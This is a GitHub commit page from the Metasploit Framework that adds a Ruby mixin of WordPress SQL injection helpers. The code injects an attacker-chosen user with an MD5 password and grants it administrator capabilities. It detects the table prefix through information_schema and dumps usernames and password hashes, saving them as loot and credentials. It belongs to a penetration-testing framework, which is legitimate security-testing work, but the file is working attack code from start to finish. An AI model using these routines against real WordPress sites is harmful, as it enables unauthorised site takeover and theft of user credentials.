Skip to content

Commit

Permalink
Land rapid7#19497, add Wordpress SQLi Mixin
Browse files Browse the repository at this point in the history
Land rapid7#19497, add Wordpress SQLi Mixin
  • Loading branch information
dledda-r7 authored Oct 14, 2024
2 parents cb10062 + c259ce0 commit d2b4175
Showing 1 changed file with 200 additions and 0 deletions.
200 changes: 200 additions & 0 deletions lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@
module Msf
# This module provides reusable SQLi (SQL Injection) helper functions
# for WordPress exploits in Metasploit Framework. These functions allow
# for actions such as creating new users, granting privileges, and
# dumping user credentials via SQL injection vulnerabilities in WordPress.
#
# Usage:
# Include this module in your exploit or auxiliary module and use
# the provided functions to simplify SQL injection logic.
module Exploit::Remote::HTTP::Wordpress::SQLi
include Msf::Exploit::SQLi

# Function to initialize the SQLi instance in the mixin.
#
# This function sets up the SQLi instance that is initialized in the exploit module.
# The SQLi instance is passed as a parameter to ensure it is accessible within the mixin
# and can be used for executing SQL injection queries.
#
# @param sqli [Object] The SQLi instance initialized in the exploit module.
# @return [void]
def wordpress_sqli_initialize(sqli)
@sqli = sqli
@prefix = wordpress_sqli_identify_table_prefix
end

# Inject an user into the WordPress database, creating or updating an entry.
#
# This method either creates a new user entry in the 'users' table or updates an existing one.
# If the user already exists, their password, nicename, email, and display name will be updated.
# Otherwise, a new user will be created with the provided credentials and default values.
# The password is hashed using MD5 for compatibility with older WordPress versions.
#
# @param username [String] The username for the new or updated user.
# @param password [String] The password for the new user (stored as an MD5 hash).
# @param email [String] The email for the new user.
# @return [void]
def wordpress_sqli_create_user(username, password, email)
query = <<-SQL
INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}'
FROM #{@prefix}users
WHERE NOT EXISTS (
SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}'
)
LIMIT 1
ON DUPLICATE KEY UPDATE
user_pass = MD5('#{password}'),
user_nicename = '#{username}',
user_email = '#{email}',
display_name = '#{username}'
SQL

@sqli.raw_run_sql(query.strip.gsub(/\s+/, ' '))

vprint_status("{WPSQLi} User '#{username}' created or updated successfully.")
end

# Grant admin privileges to the specified user by creating or updating the appropriate meta entry.
#
# This method either creates a new entry in the 'usermeta' table or updates an existing one
# to grant administrator capabilities to the specified user. If the entry for the user's
# capabilities already exists, it will be updated to assign administrator privileges.
# If the entry does not exist, a new one will be created.
#
# @param username [String] The username of the user to grant privileges to.
# @return [void]
def wordpress_sqli_grant_admin_privileges(username)
admin_query = <<-SQL
INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value)
SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'
FROM #{@prefix}users
WHERE user_login = '#{username}'
ON DUPLICATE KEY UPDATE
meta_value = 'a:1:{s:13:"administrator";s:1:"1";}'
SQL

@sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' '))
vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.")
end

# Identify the table prefix for the WordPress installation
#
# @return [String] The detected table prefix
# @raise [Failure::UnexpectedReply] If the table prefix could not be detected
def wordpress_sqli_identify_table_prefix
indicator = rand(0..19)
random_alias = Rex::Text.rand_text_alpha(1..5)
default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'"
result = @sqli.run_sql(default_prefix_check)&.to_i

if result == indicator
vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'")
return 'wp_'
end
vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...')

query = <<-SQL
SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users'))
FROM information_schema.tables
WHERE table_schema = database()
AND table_name LIKE '%\\_users'
AND (SELECT COUNT(*)
FROM information_schema.columns #{random_alias}
WHERE #{random_alias}.table_schema = tables.table_schema
AND #{random_alias}.table_name = tables.table_name
AND #{random_alias}.column_name IN ('user_login', 'user_pass')
) = 2
LIMIT 1
SQL

prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' '))
unless prefix && !prefix.strip.empty?
print_error('{WPSQLi} Unable to detect the table prefix.')
return nil
end

vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'")

prefix
end

# Get users' credentials from the wp_users table
#
# @param count [Integer] The number of users to retrieve (default: 10)
# @return [Array<Array>] Array of arrays containing user login and password hash
def wordpress_sqli_get_users_credentials(count = 10)
columns = ['user_login', 'user_pass']
data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count)

table = Rex::Text::Table.new(
'Header' => "#{@prefix}users",
'Indent' => 4,
'Columns' => columns
)

loot_data = ''
data.each do |user|
table << user
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"

create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})

vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.")
end

vprint_status('{WPSQLi} Dumped user data:')
print_line(table.to_s)

loot_path = store_loot(
'wordpress.users',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_users.txt',
'WordPress Usernames and Password Hashes'
)

print_good("Loot saved to: #{loot_path}")

vprint_status('{WPSQLi} Reporting host...')
report_host(host: datastore['RHOST'])

vprint_status('{WPSQLi} Reporting service...')
report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: description.strip
)

vprint_status('{WPSQLi} Reporting vulnerability...')
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
refs: references,
info: description.strip
)

vprint_good('{WPSQLi} Reporting completed successfully.')

return data
end
end
end

0 comments on commit d2b4175

Please sign in to comment.